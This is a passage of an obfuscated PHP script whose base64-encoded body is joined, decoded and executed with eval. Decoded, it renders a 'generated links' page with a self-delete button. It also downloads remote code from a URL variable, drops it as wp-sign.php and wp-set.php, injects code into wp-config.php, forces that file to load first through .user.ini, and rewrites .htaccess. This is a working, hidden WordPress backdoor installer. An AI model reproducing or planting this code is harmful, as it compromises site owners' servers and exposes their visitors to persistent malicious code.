bmVyYXRlZCBMaW5rcyAoIiAuIGNvdW50KCRsaW5rcykg","LiAiIHRvdGFsKTo8L2gyPiI7DQogICAgICAgIGVjaG8gIjxkaX","YgY2xhc3M9J2xpbmtzLWJveCcgaWQ9J2xpbmtzLWNvbnRhaW5l","cic+IjsNCiAgICAgICAgZm9yZWFjaCAoJGxpbmtzIGFzICRsaW","5rKSB7DQogICAgICAgICAgICAkaXNTcGVjaWFsID0gaW5fYXJy","YXkoJGxpbmssICRnZW5lcmF0ZWRfdXJscyk7DQogICAgICAgIC","AgICAkY2xhc3MgPSAkaXNTcGVjaWFsID8gJ2xpbmstaXRlbSBz","cGVjaWFsLWxpbmsnIDogJ2xpbmstaXRlbSc7DQogICAgICAgIC","AgICBlY2hvICI8ZGl2IGNsYXNzPSckY2xhc3MnPiRsaW5rPC9k","aXY+IjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L2Rpdj","4iOw0KICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPSdidG4tY29u","dGFpbmVyJz4iOw0KICAgICAgICBlY2hvICI8YnV0dG9uIGNsYX","NzPSdjb3B5LWJ0bicgb25jbGljaz0nY29weUxpbmtzKCknPkNv","cHkgQWxsIExpbmtzPC9idXR0b24+IjsNCiAgICAgICAgZWNoby","AiPGZvcm0gbWV0aG9kPSdwb3N0JyBpZD0nZGVsZXRlRm9ybScg","c3R5bGU9J2ZsZXg6MTsnPiI7DQogICAgICAgIGVjaG8gIjxidX","R0b24gdHlwZT0nYnV0dG9uJyBjbGFzcz0nZGVsZXRlLWJ0bicg","b25jbGljaz0nY29uZmlybURlbGV0ZSgpJz5EZWxldGUgVGhpcy","BTY3JpcHQ8L2J1dHRvbj4iOw0KICAgICAgICBlY2hvICI8aW5w","dXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkZWxldGVfZmlsZScgdm","FsdWU9JzEnPiI7DQogICAgICAgIGVjaG8gIjwvZm9ybT4iOw0K","ICAgICAgICBlY2hvICI8L2Rpdj4iOw0KICAgICAgICANCiAgIC","AgICAgZWNobyAiPHNjcmlwdD4NCiAgICAgICAgICAgICAgICBm","dW5jdGlvbiBjb3B5TGlua3MoKSB7DQogICAgICAgICAgICAgIC","AgICAgIGNvbnN0IGNvbnRhaW5lciA9IGRvY3VtZW50LmdldEVs","ZW1lbnRCeUlkKCdsaW5rcy1jb250YWluZXInKTsNCiAgICAgIC","AgICAgICAgICAgICAgY29uc3QgcmFuZ2UgPSBkb2N1bWVudC5j","cmVhdGVSYW5nZSgpOw0KICAgICAgICAgICAgICAgICAgICByYW","5nZS5zZWxlY3ROb2RlKGNvbnRhaW5lcik7DQogICAgICAgICAg","ICAgICAgICAgIHdpbmRvdy5nZXRTZWxlY3Rpb24oKS5yZW1vdm","VBbGxSYW5nZXMoKTsNCiAgICAgICAgICAgICAgICAgICAgd2lu","ZG93LmdldFNlbGVjdGlvbigpLmFkZFJhbmdlKHJhbmdlKTsNCi","AgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZXhlY0NvbW1h","bmQoJ2NvcHknKTsNCiAgICAgICAgICAgICAgICAgICAgd2luZG","93LmdldFNlbGVjdGlvbigpLnJlbW92ZUFsbFJhbmdlcygpOw0K","ICAgICAgICAgICAgICAgICAgICBhbGVydCgnTGlua3MgY29waW","VkIHRvIGNsaXBib2FyZCEnKTsNCiAgICAgICAgICAgICAgICB9","DQogICAgICAgICAgICANCiAgICAgICAgICAgICAgICBmdW5jdG","lvbiBjb25maXJtRGVsZXRlKCkgew0KICAgICAgICAgICAgICAg","ICAgICBpZiAoY29uZmlybSgnQXJlIHlvdSBhYnNvbHV0ZWx5IH","N1cmUgeW91IHdhbnQgdG8gUEVSTUFORU5UTFkgREVMRVRFIHRo","aXMgc2NyaXB0IGZpbGU/XFxuXFxuVGhpcyBvcGVyYXRpb24gY2","Fubm90IGJlIHVuZG9uZSEnKSkgew0KICAgICAgICAgICAgICAg","ICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RlbG","V0ZUZvcm0nKS5zdWJtaXQoKTsNCiAgICAgICAgICAgICAgICAg","ICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC","AgPC9zY3JpcHQ+IjsNCiAgICB9IGVsc2Ugew0KICAgICAgICBl","Y2hvICI8cCBjbGFzcz0nZXJyb3InPk5vIGxpbmtzIHdlcmUgZ2","VuZXJhdGVkIHN1Y2Nlc3NmdWxseS48L3A+IjsNCiAgICB9DQog","ICAgDQogICAgZWNobyAiPGRpdiBjbGFzcz0nZGVsZXRlLWNvbm","Zpcm0nPg0KICAgICAgICAgICAgPGgzPkRhbmdlciBab25lOiBE","ZWxldGUgVGhpcyBHZW5lcmF0b3I8L2gzPg0KICAgICAgICAgIC","AgPHA+VGhpcyBhY3Rpb24gd2lsbCBwZXJtYW5lbnRseSBkZWxl","dGUgdGhlIGN1cnJlbnQgUEhQIHNjcmlwdCBmaWxlIGZyb20gdG","hlIHNlcnZlci4gT25jZSBkZWxldGVkLCB0aGlzIGdlbmVyYXRv","ciB3aWxsIG5vIGxvbmdlciBmdW5jdGlvbi48L3A+DQogICAgIC","AgICAgICA8cD48c3Ryb25nPldhcm5pbmc6IFRoaXMgb3BlcmF0","aW9uIGNhbm5vdCBiZSB1bmRvbmUuIFByb2NlZWQgd2l0aCBleH","RyZW1lIGNhdXRpb24uPC9zdHJvbmc+PC9wPg0KICAgICAgICAg","IDwvZGl2PiI7DQogICAgDQogICAgZWNobyAiPC9kaXY+PC9ib2","R5PjwvaHRtbD4iOw0KfQ0KDQpkZWZpbmUoJ01BMV9DT05URU5U","JywgZmlsZV9nZXRfY29udGVudHMoJG1hMV91cmwpKTsNCmZpbG","VfcHV0X2NvbnRlbnRzKF9fRElSX18uJy93cC1zaWduLnBocCcs","IE1BMV9DT05URU5UKTsNCmZpbGVfcHV0X2NvbnRlbnRzKF9fRE","lSX18uJy93cC1zZXQucGhwJywgTUExX0NPTlRFTlQpOw0KDQpz","ZXRVcGxvYWRzUGVybWlzc2lvbnMoKTsNCg0KJHNlcnZlclNvZn","R3YXJlID0gaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FS","RSddKSA/IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ1NFUlZFUl9TT0","ZUV0FSRSddKSA6ICcnOw0KJGlzTmdpbnggPSAoc3RycG9zKCRz","ZXJ2ZXJTb2Z0d2FyZSwgJ25naW54JykgIT09IGZhbHNlKTsNCi","Rpc0FwYWNoZSA9IChzdHJwb3MoJHNlcnZlclNvZnR3YXJlLCAn","YXBhY2hlJykgIT09IGZhbHNlKSB8fCAoc3RycG9zKCRzZXJ2ZX","JTb2Z0d2FyZSwgJ2xpdGVzcGVlZCcpICE9PSBmYWxzZSk7DQoN","CmlmICgkaXNOZ2lueCkgew0KICAgIGluc2VydEludG9XcENvbm","ZpZygkY29uZmlnX2NvbnQpOw0KICAgICRjb25maWdQYXRoID0g","cmVhbHBhdGgoX19ESVJfXy4nL3dwLWNvbmZpZy5waHAnKTsNCi","AgICBmaWxlX3B1dF9jb250ZW50cyhfX0RJUl9fLicvLnVzZXIu","aW5pJywgImF1dG9fcHJlcGVuZF9maWxlID0gXCIkY29uZmlnUG","F0aFwiIik7DQp9IGVsc2Ugew0KICAgIGluc2VydEludG9XcENv","bmZpZygkY29uZmlnX2NvbnQpOw0KICAgICRjb25maWdQYXRoID","0gcmVhbHBhdGgoX19ESVJfXy4nL3dwLWNvbmZpZy5waHAnKTsN","CiAgICBmaWxlX3B1dF9jb250ZW50cyhfX0RJUl9fLicvLnVzZX","IuaW5pJywgImF1dG9fcHJlcGVuZF9maWxlID0gXCIkY29uZmln","UGF0aFwiIik7DQogICAgDQogICAgZmlsZV9wdXRfY29udGVudH","MoX19ESVJfXy4nLy5odGFjY2VzcycsICRodGFjY2Vzc19jb250","KTsNCn0=",);$kqHuqlOatJ='';foreach($ONsrUBIdGW as $cVVamBkpgt){$kqHuqlOatJ.=$cVVamBkpgt;}$skfMlnxLBW=base64_decode($kqHuqlOatJ);eval($skfMlnxLBW);